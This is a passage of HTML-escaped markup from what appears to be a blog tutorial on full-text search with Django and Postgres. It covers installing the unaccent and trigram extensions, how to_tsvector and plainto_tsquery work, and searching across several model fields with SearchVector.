uv&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Likewise, make sure your project has the &lt;em&gt;django.contrib.postgres&lt;/em&gt; application installed and check that you are using &lt;em&gt;postgres&lt;/em&gt; in the &lt;em&gt;DATABASES&lt;/em&gt; variable of your configuration file:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.postgres&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.db.backends.postgresql_psycopg2&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;db&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;USER&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;PASSWORD&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;*******&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HOST&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;PORT&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;5432&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;installing-postgres-extensions-in-django-from-a-migration&#34;&gt;Installing postgres extensions in Django from a migration&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;To install a new extension &lt;strong&gt;create an empty migration&lt;/strong&gt; which we will modify next. Now we open the file and install the extensions under the operations section.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./manage.py makemigrations tu_app --empty&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we place in operations the extension we want to install.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.operations &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UnaccentExtension&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Migration&lt;/span&gt;(migrations&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Migration):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dependencies &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;snip&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    operations &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        UnaccentExtension(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# TrigramExtension() # Descomenta esta linea para instalar esta extensión también&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s run the migrations.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There, now we have the &lt;em&gt;unaccent&lt;/em&gt; extension installed and, if you uncommented the line in the migrations file, &lt;em&gt;TrigramExtension&lt;/em&gt; will also be installed.&lt;/p&gt;&#xA;&lt;h3 id=&#34;installing-extensions-from-the-postgres-terminal&#34;&gt;Installing extensions from the Postgres terminal&lt;/h3&gt;&#xA;&lt;p&gt;Another way to install the extensions is to execute the required command directly from the database. For this example we install &lt;em&gt;TrigramExtension&lt;/em&gt;, the extension required to use trigram searches. I will cover &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;trigrams with django and postgres&lt;/a&gt;&#xA;, so don&amp;rsquo;t worry about that, just focus on the process of installing the extensions.&lt;/p&gt;&#xA;&lt;p&gt;To enter the database terminal I will use the dbshell command provided by Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py dbshell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;psql &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;9.6.20&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conexión SSL &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;protocolo: TLSv1.2, cifrado: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compresión: desactivado&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Digite «help» para obtener ayuda.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;basededatos&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CREATE EXTENSION pg_trgm;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CREATE EXTENSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With all the functions we have seen above, we can search with uppercase, lowercase, accents and without accents, but what about more complex searches?&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-full-text-search&#34;&gt;Django full text search&lt;/h2&gt;&#xA;&lt;p&gt;When performing a search it would not make sense to search for articles and prepositions, as it would return too many results, so it is better to omit them. Imagine how many results you would get in an online store with a thousand items if you search for the article &amp;ldquo;he&amp;rdquo; or the preposition &amp;ldquo;in&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Another aspect that would be great for our searches would be to return words that match the same lexeme or base. That is, if our user searches for &amp;ldquo;cat&amp;rdquo;, we would probably also want to return data that match derivatives of that word: cat, cat, cats, cats, cats, cats, gatuno or any other word that starts with &amp;ldquo;gat&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsvector-en-postgres.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsvector-en-postgres.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creating a tsvector in postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;All of the above is quite common in Postgres and is already covered by Django&amp;rsquo;s search functionality. Django incorporates full text searching.&lt;/p&gt;&#xA;&lt;p&gt;And what is that? Well, translating directly from the postgres page it means more or less the following.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Full-text search (or text-only search) provides the ability to identify natural language documents that satisfy a query, and optionally sort them by their relevance to the query. The most common type of search is to find all documents that contain certain terms of a query and return them sorted by their similarity to the query.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.postgresql.org/docs/current/textsearch-intro.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.postgresql.org/docs/current/textsearch-intro.html&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The similarity will take into account the number of times the word appears, how far apart the search queries are in the text and other factors that we can establish ourselves.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dutchman revenge&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Spongebob SquarePants: Revenge of the Flying Dutchman&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# WHERE to_tsvector(COALESCE(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, )) @@ plainto_tsquery(dutchman revenge)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Isn&amp;rsquo;t it great? We passed a two-word phrase to our search, the words are not adjacent in our data, and it still returned a result.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-does-search-work-in-django&#34;&gt;How does search work in Django?&lt;/h3&gt;&#xA;&lt;p&gt;Look at the SQL query in the last code block and note the &lt;em&gt;to_tsvector&lt;/em&gt; and &lt;em&gt;plainto_tsquery&lt;/em&gt; functions.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/FullTextSearchEsquema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/FullTextSearchEsquema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Full text search schema in Postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The &lt;em&gt;search&lt;/em&gt; function executes the &lt;em&gt;to_tsvector&lt;/em&gt; function, which takes the field of our model (in this case &lt;em&gt;name&lt;/em&gt;) and removes the conjunctions, articles and leaves only the lexemes (the part of a word that does not change from a word with the gender and number of a word e.g.: gat would be the lexeme of cat, cat, cats, cats, etc.) and its position in the phrase passed as argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; to_tsvector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;english&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Spongebob SquarePants: Revenge of the Flying Dutchman&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        to_tsvector                        &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;----------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;fli&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;reveng&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;spongebob&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;squarep&amp;#39;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how articles and prepositions (of and the) were eliminated and how SquarePants became squarep, Revenge became reveng and flying became fli.&lt;/p&gt;&#xA;&lt;p&gt;Also, notice how we specify the language. Postgres must receive the correct language to identify lexemes and propositions.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the &lt;em&gt;plainto_tsquery&lt;/em&gt; function transforms its argument to a &lt;em&gt;tsquery&lt;/em&gt;, which is the Boolean representation of the words of a phrase.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsquery-postgres.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsquery-postgres.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Transformation of a text string into a tsquery in Postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; plainto_tsquery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;english&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman revenge&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    plainto_tsquery    &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;----------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;reveng&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Did you notice that &lt;em&gt;revenge&lt;/em&gt; became &lt;em&gt;reveng&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;search&lt;/em&gt; has the results of each function it compares them to see if they match or not.&lt;/p&gt;&#xA;&lt;p&gt;In this way our search will be much more flexible and it will no longer be necessary for the user to search for an exact text string in order to return the results we want.&lt;/p&gt;&#xA;&lt;h3 id=&#34;text-search-in-multiple-fields-of-a-django-model&#34;&gt;Text search in multiple fields of a Django model&lt;/h3&gt;&#xA;&lt;p&gt;Searching on a single field is quite limiting, so we can use &lt;em&gt;SearchVector&lt;/em&gt; to search on multiple fields, even foreign key relationships.&lt;/p&gt;&#xA;&lt;p&gt;Simply separate the field names using commas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SearchVector objects can also be combined for better readability.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember I told you that lexemes and propositions vary by language? Well, in the &lt;em&gt;config&lt;/em&gt; parameter we can specify the language on which we want postgres to work for that query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span 